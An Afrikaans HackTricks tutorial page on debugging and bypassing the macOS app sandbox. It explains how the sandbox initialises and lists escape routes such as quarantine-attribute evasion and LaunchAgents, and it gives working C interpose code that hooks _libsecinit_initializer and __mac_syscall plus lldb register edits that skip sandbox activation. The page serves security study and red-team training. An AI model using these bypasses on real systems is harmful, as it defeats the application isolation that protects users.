macOS Sandbox Debug & Bypass

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Sandbox laai proses

In die vorige beeld is dit moontlik om te observeer hoe die sandbox gelaai sal word wanneer 'n toepassing met die regte com.apple.security.app-sandbox uitgevoer word.

Die kompilator sal /usr/lib/libSystem.B.dylib aan die binêre koppel.

Dan, libSystem.B sal ander verskeie funksies aanroep totdat die xpc_pipe_routine die regte van die app na securityd stuur. Securityd kontroleer of die proses in die Sandbox gequarantine moet word, en indien wel, sal dit gequarantine word. Laastens, sal die sandbox geaktiveer word met 'n oproep na __sandbox_ms wat __mac_syscall sal aanroep.

Moontlike Bypasses

Om die kwarantyn eienskap te omseil

Lêers geskep deur sandboxed prosesse word bygevoeg met die kwarantyn eienskap om sandbox ontsnapping te voorkom. As jy egter daarin slaag om 'n .app gids te skep sonder die kwarantyn eienskap binne 'n sandboxed toepassing, kan jy die app bundel binêre laat wys na /bin/bash en 'n paar omgewing veranderlikes in die plist voeg om open te misbruik om die nuwe app sonder sandbox te begin.

Dit is wat gedoen is in CVE-2023-32364.

Daarom, op die oomblik, as jy net in staat is om 'n gids met 'n naam wat eindig op .app is te skep sonder 'n kwarantyn eienskap, kan jy die sandbox ontsnap omdat macOS net kontroleer die kwarantyn eienskap in die .app gids en in die hoof uitvoerbare (en ons sal die hoof uitvoerbare na /bin/bash wys).

Let daarop dat as 'n .app bundel reeds gemagtig is om te loop (dit het 'n kwarantyn xttr met die gemagtig om te loop vlag aan), kan jy dit ook misbruik... behalwe dat jy nou nie binne .app bundels kan skryf nie tensy jy 'n paar bevoorregte TCC toestemmings het (wat jy nie binne 'n sandbox hoog sal hê nie).

Misbruik van Open funksionaliteit

In die laaste voorbeelde van Word sandbox omseiling kan gesien word hoe die open cli funksionaliteit misbruik kan word om die sandbox te omseil.

macOS Office Sandbox Bypasses

Begin Agents/Daemons

Selfs al is 'n toepassing bedoel om sandboxed te wees (com.apple.security.app-sandbox), is dit moontlik om die sandbox te omseil as dit uitgevoer word vanaf 'n LaunchAgent (~/Library/LaunchAgents) byvoorbeeld. Soos verduidelik in hierdie pos, as jy volharding wil verkry met 'n toepassing wat sandboxed is, kan jy dit laat outomaties uitgevoer word as 'n LaunchAgent en dalk kwaadwillige kode via DyLib omgewing veranderlikes inspuit.

Misbruik van Auto Begin Plekke

As 'n sandboxed proses kan skryf in 'n plek waar later 'n onsandboxed toepassing die binêre gaan uitvoer, sal dit in staat wees om te ontsnap net deur daar die binêre te plaas. 'n Goeie voorbeeld van hierdie soort plekke is ~/Library/LaunchAgents of /System/Library/LaunchDaemons.

Vir dit mag jy selfs 2 stappe nodig hê: Om 'n proses met 'n meer toelaatbare sandbox (file-read*, file-write*) jou kode te laat uitvoer wat werklik in 'n plek sal skryf waar dit onsandboxed uitgevoer sal word.

Kyk na hierdie bladsy oor Auto Begin plekke:

macOS Auto Start

Misbruik van ander prosesse

As jy vanaf die sandbox proses in staat is om ander prosesse te kompromitteer wat in minder beperkende sandboxes (of geen) loop, sal jy in staat wees om na hul sandboxes te ontsnap:

macOS Process Abuse

Statiese Kompilering & Dynamies koppel

Hierdie navorsing het 2 maniere ontdek om die Sandbox te omseil. Omdat die sandbox van gebruikersland toegepas word wanneer die libSystem biblioteek gelaai word. As 'n binêre dit kan vermy om dit te laai, sal dit nooit sandboxed word nie:

  • As die binêre heeltemal staties gecompileer was, kan dit vermy om daardie biblioteek te laai.

  • As die binêre nie enige biblioteke hoef te laai nie (omdat die linker ook in libSystem is), sal dit nie libSystem hoef te laai nie.

Shellcodes

Let daarop dat selfs shellcodes in ARM64 moet gekoppel word in libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Toekennings

Let daarop dat selfs al sommige aksies dalk toegelaat word deur die sandbox as 'n toepassing 'n spesifieke toekenning het, soos in:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Vir meer inligting oor Interposting kyk:

macOS Function Hooking

Interpost _libsecinit_initializer om die sandbox te voorkom

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpose __mac_syscall om die Sandbox te voorkom

interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Debug & bypass Sandbox with lldb

Kom ons kompileer 'n toepassing wat in 'n sandbox moet wees:

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

Dan kompileer die aansoek:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

Die app sal probeer om die lêer ~/Desktop/del.txt te lees, wat die Sandbox nie sal toelaat. Skep 'n lêer daar, aangesien die Sandbox oorgestap is, sal dit in staat wees om dit te lees:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

Kom ons debuge die toepassing om te sien wanneer die Sandbox gelaai word:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

Selfs met die Sandbox omseil TCC sal die gebruiker vra of hy die proses wil toelaat om lêers van die lessenaar te lees

References

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated